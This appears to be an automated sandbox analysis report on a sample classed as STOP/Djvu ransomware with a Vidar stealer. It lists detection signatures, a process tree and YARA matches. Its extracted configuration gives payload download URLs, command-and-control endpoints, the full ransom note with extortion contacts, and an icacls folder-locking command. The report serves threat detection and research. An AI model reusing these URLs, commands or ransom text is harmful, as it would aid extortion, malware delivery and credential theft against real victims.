Edit tour

Windows Analysis Report
8jvTeVxooN.exe

Overview

General Information

Sample name:	8jvTeVxooN.exe renamed because original name is a hash value
Original sample name:	efd7d885536ef4fd62cbc513bbe04d6e.exe
Analysis ID:	1430799
MD5:	efd7d885536ef4fd62cbc513bbe04d6e
SHA1:	7e3a86188066eaa404a60c9686624fda1b12ae51
SHA256:	6c0bd6cae657449a07dcb78940ea732d7e4e24546477b083116bff4c99bd417d
Tags:	exeStop
Infos:

Detection

Babuk, Djvu, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected Babuk Ransomware

Yara detected Djvu Ransomware

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found stalling execution ending in API Sleep call

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

8jvTeVxooN.exe (PID: 7120 cmdline: "C:\Users\user\Desktop\8jvTeVxooN.exe" MD5: EFD7D885536EF4FD62CBC513BBE04D6E)

8jvTeVxooN.exe (PID: 2700 cmdline: "C:\Users\user\Desktop\8jvTeVxooN.exe" MD5: EFD7D885536EF4FD62CBC513BBE04D6E)

icacls.exe (PID: 6520 cmdline: icacls "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

8jvTeVxooN.exe (PID: 4444 cmdline: "C:\Users\user\Desktop\8jvTeVxooN.exe" --Admin IsNotAutoStart IsNotTask MD5: EFD7D885536EF4FD62CBC513BBE04D6E)

8jvTeVxooN.exe (PID: 5772 cmdline: "C:\Users\user\Desktop\8jvTeVxooN.exe" --Admin IsNotAutoStart IsNotTask MD5: EFD7D885536EF4FD62CBC513BBE04D6E)

build2.exe (PID: 6212 cmdline: "C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe" MD5: A04031208441077A014F42095FF86107)

build2.exe (PID: 6232 cmdline: "C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe" MD5: A04031208441077A014F42095FF86107)

8jvTeVxooN.exe (PID: 7004 cmdline: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe --Task MD5: EFD7D885536EF4FD62CBC513BBE04D6E)

8jvTeVxooN.exe (PID: 2312 cmdline: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe --Task MD5: EFD7D885536EF4FD62CBC513BBE04D6E)

8jvTeVxooN.exe (PID: 6428 cmdline: "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart MD5: EFD7D885536EF4FD62CBC513BBE04D6E)

8jvTeVxooN.exe (PID: 3228 cmdline: "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart MD5: EFD7D885536EF4FD62CBC513BBE04D6E)

8jvTeVxooN.exe (PID: 6064 cmdline: "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart MD5: EFD7D885536EF4FD62CBC513BBE04D6E)

8jvTeVxooN.exe (PID: 3228 cmdline: "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart MD5: EFD7D885536EF4FD62CBC513BBE04D6E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}

Threatname: Djvu

{"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0863PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\\\n8S4cMO\\/Bdgsd+jTtFbVs1bX4OXiYKnMXg4LclKMEHJ2gnP2X09BkzA29UJQlagak\\\\nuAL7j7iRagKeU4tAB8w9rziBYoa9zROqer7J6pf5B11vAvvRq4b3127kAxnMhpgo\\\\ns7MQC7pXIvTkEeGySeG+F5fjSMPUoF1\\/cAg6GuSWOPXoPvXKRA\\/mo+xyHVOKZe2+\\\\nSCpbMHAyMe7o4w\\/i\\/pVjv9g8pRDJtz14qtMuAR38ek+SPJ4PJCxA9e0tOi+p4yNn\\\\nvnFKoL5OwzoF+bvVHnTA7tk4fXB3AyaL9llS0kxEWS7x\\/kNYQyJPh9fimryM03Cy\\\\n1wIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000002.1823212660.0000000005E40000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000002.1823212660.0000000005E40000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000005.00000002.1668456662.0000000004630000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000002.1823128668.0000000004501000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000002.1722554288.0000000003660000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000005.00000002.1668558182.0000000005E70000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.1668558182.0000000005E70000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000002.1739002784.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000002.1739002784.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000002.1738911093.0000000004402000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000002.1657747335.0000000004482000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000007.00000002.1722443203.0000000001B9E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1168:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x2f116:$x5: vchost.exe 0x30116:$x5: vchost.exe
00000000.00000002.1634521884.0000000004434000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Process Memory Space: 8jvTeVxooN.exe PID: 7120	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 8jvTeVxooN.exe PID: 7120	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x35118:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 8jvTeVxooN.exe PID: 2700	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 8jvTeVxooN.exe PID: 2700	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3a9aa:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 8jvTeVxooN.exe PID: 4444	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 8jvTeVxooN.exe PID: 4444	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4763e:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 8jvTeVxooN.exe PID: 5772	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 8jvTeVxooN.exe PID: 5772	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: 8jvTeVxooN.exe PID: 5772	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xdae8b1:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 8jvTeVxooN.exe PID: 7004	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 8jvTeVxooN.exe PID: 7004	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x43f29:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 8jvTeVxooN.exe PID: 2312	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 8jvTeVxooN.exe PID: 2312	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: 8jvTeVxooN.exe PID: 2312	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x51f46:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: build2.exe PID: 6212	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 6232	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 6232	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: build2.exe PID: 6232	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 8jvTeVxooN.exe PID: 6428	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 8jvTeVxooN.exe PID: 6428	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x33056:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 8jvTeVxooN.exe PID: 3228	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 8jvTeVxooN.exe PID: 3228	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x36a4d:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 8jvTeVxooN.exe PID: 6064	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 8jvTeVxooN.exe PID: 6064	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3105c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 8jvTeVxooN.exe PID: 3228	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 8jvTeVxooN.exe PID: 3228	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3f34a:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 57 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.build2.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.build2.exe.400000.0.raw.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x2f116:$x5: vchost.exe 0x30116:$x5: vchost.exe
7.2.build2.exe.36615a0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
7.2.build2.exe.36615a0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
4.2.8jvTeVxooN.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
